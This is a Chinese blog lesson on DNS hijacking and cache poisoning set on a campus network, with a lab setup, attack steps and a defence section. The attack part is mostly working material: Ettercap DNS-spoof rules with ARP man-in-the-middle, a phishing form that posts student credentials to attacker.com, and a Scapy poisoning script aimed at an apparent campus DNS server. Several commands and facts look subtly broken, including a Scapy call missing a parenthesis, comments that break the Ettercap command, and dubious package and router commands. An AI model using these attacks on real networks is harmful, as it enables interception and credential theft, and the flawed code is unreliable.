🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第3章 第19.2课

DNS攻防实战:互联网的"指路牌"争夺战

大家好,今天我们来拆解互联网的"导航系统"——DNS协议。想象一下你在校园网抢课时,输入"选课系统.edu.cn"却跳转到钓鱼网站的恐怖场景。这就是DNS劫持攻击的威力。我会用校园选课系统和实验室网站的真实案例,带你理解DNS如何被利用以及如何防御。(´・_・`)


一、实验环境构建:攻防沙箱配置

核心设备

  • 攻击机:Kali Linux(IP:192.168.146.4)
# 检查IP配置
ip addr show eth0
# 输出:inet 192.168.146.4/24
  • 靶机:Windows 10(IP:192.168.146.5)
  • 网关:192.168.146.1

关键服务搭建

# 启动Apache伪造网站
sudo systemctl start apache2
echo "<h1>安全警告!你正在被攻击</h1>" | sudo tee /var/www/html/index.html

# 验证Web服务
curl http://localhost
# 输出:<h1>安全警告!你正在被攻击</h1>

二、攻击原理:DNS的信任链断裂

域名解析本质

sequenceDiagram 用户->>本地DNS: 查询"选课系统.edu.cn" 本地DNS->>根DNS: 请求.edu.cn域名服务器 根DNS-->>本地DNS: 返回.cn域名服务器 本地DNS->>.cnDNS: 请求.edu.cn服务器 .cnDNS-->>本地DNS: 返回具体IP 本地DNS->>用户: 返回真实IP

劫持原理

sequenceDiagram 攻击者->>用户: ARP欺骗(伪装网关) 用户->>攻击者: DNS查询请求 攻击者->>用户: 返回伪造IP(192.168.146.4) 用户->>攻击者: 访问伪造网站

三、实战攻击:四步劫持流程

1. 流量监听(Wireshark)
# 过滤DNS流量
wireshark -f "udp port 53" -k
2. 配置DNS劫持规则
# 创建Ettercap规则
echo -e "*.edu.cn\tA\t192.168.146.4\n*.*\tA\t192.168.146.4" | sudo tee /etc/ettercap/etter.dns
# 解释:把所有.edu.cn和任意域名解析到攻击机
3. 启动中间人攻击
sudo ettercap -T -q -i eth0 \
-P dns_spoof \# 启用DNS欺骗插件
-M arp:remote \# ARP欺骗模式
/192.168.146.5// \# 目标:Win10
/192.168.146.1//# 网关
4. 效果验证(Win10执行)
# 查询教务系统DNS
nslookup 选课系统.edu.cn
# 输出:Address: 192.168.146.4(应是真实服务器IP)

四、校园场景攻击案例

  1. 选课系统劫持
  • 伪造选课页面:提示"系统维护,请联系QQxxxx"
  • 窃取校园账号:伪装登录页面
  1. 实验文档窃取
  • 劫持file.lab.edu.cn
  • 部署虚假实验文档(内含木马)
  1. 钓鱼攻击
<!-- 伪造奖学金通知页面 -->
<form action="http://attacker.com/steal" method="POST">
学号:<input type="text" name="student_id">
密码:<input type="password" name="password">
</form>

五、防御体系:重建DNS安全

1. 终端防护:加密DNS解析
# Windows配置DoH(DNS over HTTPS)
netsh dns add encryption server=8.8.8.5 dohtemplate=https://dns.google/dns-query
2. 网络设备防护:DNSSEC验证
! 思科路由器配置DNS安全扩展
ip dns sec enable
3. 应用层防护:强制HTTPS
# Nginx配置HSTS头(校园网站)
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
4. 主动监测:DNS异常检测
# Python检测DNS劫持
import socket

def check_dns_hijacking(domain, expected_ip):
real_ip = socket.gethostbyname(domain)
if real_ip != expected_ip:
print(f"[!] 告警:{domain} 被劫持到 {real_ip} (应为 {expected_ip})")
else:
print(f"[+] {domain} 解析正常")

# 检查选课系统
check_dns_hijacking("选课系统.edu.cn", "202.119.112.101")

六、进阶攻击:DNS缓存投毒

攻击原理

# 伪造DNS响应包(Scapy示例)
from scapy.all import *

def dns_poison(target_ip, dns_server):
# 构造伪造响应包
spoof_pkt = IP(dst=target_ip, src=dns_server) / \
UDP(dport=53) / \
DNS(id=0xabcd, qr=1,
qd=DNSQR(qname="mail.edu.cn"),
an=DNSRR(rrname="mail.edu.cn", type="A", rdata="192.168.146.4")
send(spoof_pkt, verbose=0)

# 向校园DNS服务器投毒
dns_poison("202.119.112.100", "172.16.108.1")# 校园DNS服务器IP

防御方案

# 配置DNS服务器防护
sudo apt install bind9 bind9-hardening

总结:DNS安全的本质

  1. 信任链脆弱:递归查询机制存在中间人风险
  2. 防御核心
  • 加密传输:DoH/DoT协议
  • 来源验证:DNSSEC数字签名
  • 终端防护:安全DNS配置
  1. 持续演进
  • 零信任架构中的DNS安全
  • 基于AI的DNS异常检测

实验建议

  1. 在虚拟机环境测试DNS劫持效果
  2. 为个人设备配置Cloudflare 1.1.1.1加密DNS
  3. 扫描校园网中的异常DNS响应

当你在深夜查询考试成绩时,DNS可能正在引导你走向深渊。理解这套"指路系统"的脆弱性,才能在数字世界里安全航行。(´-ι_-`)

# 快速检测DNS劫持(CMD命令)
nslookup 选课系统.edu.cn 8.8.8.8# 使用谷歌DNS查询
nslookup 选课系统.edu.cn# 使用默认DNS查询
# 对比结果是否一致
posted on 2025-08-04 09:08  鱼油YOU  阅读(198)  评论(0)    收藏  举报